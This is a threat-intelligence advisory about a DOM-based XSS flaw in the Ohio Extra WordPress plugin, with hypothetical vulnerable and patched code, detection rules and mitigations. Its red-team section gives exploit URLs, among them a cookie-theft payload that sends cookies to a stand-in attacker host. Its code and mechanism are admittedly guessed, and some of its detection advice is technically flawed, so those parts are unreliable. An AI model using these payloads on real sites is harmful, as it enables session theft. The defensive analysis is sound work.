CVE-2025-64365
Executive Summary
CVE-2025-64365 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Ohio Extra WordPress plugin (slug: ohio-extra) developed by Colabrio. This plugin is part of the Ohio WordPress theme ecosystem and provides extended functionality such as custom post types, shortcodes, and page builder elements. The vulnerability exists in versions from n/a through 3.6.0, allowing an attacker to inject malicious scripts that execute in the victim's browser due to improper neutralization of user input during web page generation. The attack vector is DOM-based, meaning the payload is processed client-side without server-side validation, making it particularly stealthy. Given the widespread use of the Ohio theme, this vulnerability poses a significant risk to WordPress sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. As a supply chain risk, any site using the Ohio Extra plugin version <= 3.6.0 is potentially compromised. The plugin is not available on NPM, PyPI, Go, or Ruby registries, but its distribution through the WordPress ecosystem means automatic updates may not be enforced. Site administrators must manually update or apply mitigations.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature and lack of a patch increase the risk. Exploitation requires user interaction, but phishing campaigns can easily deliver the payload.
Deep Dive & Mechanics
The vulnerability resides in the ohio-extra plugin's JavaScript handling of user-supplied data. DOM-Based XSS occurs when client-side JavaScript reads data from an attacker-controlled source (e.g., document.location.hash, document.URL, or window.name) and writes it to a sink (e.g., innerHTML, document.write, or eval) without proper sanitization. In this case, the plugin likely processes URL fragments or query parameters to dynamically update page content, such as popup messages or custom shortcode outputs. The improper neutralization allows an attacker to inject arbitrary HTML and JavaScript.
Example vulnerable code pattern (hypothetical):
var userInput = window.location.hash.substring(1);
document.getElementById('message').innerHTML = userInput;
An attacker can craft a URL like https://example.com/#<img src=x onerror=alert(1)> to execute JavaScript.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common fixes.
Vulnerable Code (JavaScript):
// ohio-extra/assets/js/frontend.js
var hash = window.location.hash;
if (hash) {
var content = hash.substring(1);
document.querySelector('.ohio-popup-content').innerHTML = content;
}
Patched Code (Hypothetical):
// ohio-extra/assets/js/frontend.js (patched)
var hash = window.location.hash;
if (hash) {
var content = hash.substring(1);
// Sanitize using DOMPurify or textContent
var sanitized = DOMPurify.sanitize(content);
document.querySelector('.ohio-popup-content').innerHTML = sanitized;
// Alternatively, use textContent to prevent HTML injection
// document.querySelector('.ohio-popup-content').textContent = content;
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with Ohio Extra plugin <= 3.6.0.
- Ability to deliver a crafted URL to a logged-in administrator or user.
Exploit Payload:
https://target-site.com/#<img src=x onerror=alert(document.cookie)>
This payload, when visited by an admin, will execute JavaScript in the context of the WordPress admin panel, potentially exfiltrating session cookies.
Advanced Payload (Session Hijacking):
https://target-site.com/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Lab Setup:
- Install WordPress locally (e.g., using XAMPP or Docker).
- Install the Ohio theme and Ohio Extra plugin version 3.6.0.
- Create a page that uses a vulnerable shortcode or element.
- Craft the exploit URL and test in a browser.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for URLs containing
#<scriptor#<imgpatterns. - Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Deploy Web Application Firewall (WAF) rules to detect DOM-based XSS patterns.
Mitigation:
- Disable the plugin until a patch is released.
- Use a security plugin like Wordfence to add virtual patching.
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- URL Patterns:
*#<script*,*#<img*,*#<svg*,*#onerror*,*#onload* - HTTP Referer: Requests containing
#with HTML tags in the fragment. - Client-Side Artifacts: JavaScript execution of
alert(),prompt(), orfetch()to external domains. - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
Detection Engineering
YARA Rule
rule dom_xss_ohio_extra {
meta:
description = "Detects DOM-based XSS attempts targeting Ohio Extra plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64365"
strings:
$payload1 = /#<script[^>]*>/
$payload2 = /#<img[^>]*onerror/
$payload3 = /#<svg[^>]*onload/
$payload4 = /#<body[^>]*onload/
condition:
any of them
}
Sigma Rule
title: DOM-Based XSS Attempt via URL Fragment
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious URL fragments indicative of DOM-based XSS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#<body'
- '#<iframe'
condition: selection
falsepositives:
- Legitimate use of hash fragments with HTML-like content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64365 DOM-Based XSS in Ohio Extra Plugin"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64365 DOM-Based XSS in Ohio Extra Plugin"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64365 DOM-Based XSS in Ohio Extra Plugin"; flow:to_server,established; content:"#<svg"; http_uri; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
#<scriptor similar patterns. - Add Content Security Policy (CSP) header:
Content-Security-Policy: script-src 'self';(adjust as needed). - Monitor logs for exploitation attempts using the Sigma rule above.
Long-Term Fix:
- Contact Colabrio for a patched version.
- Apply the hypothetical patch by sanitizing user input with
textContentor a library like DOMPurify. - Conduct a security audit of all JavaScript files in the plugin.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.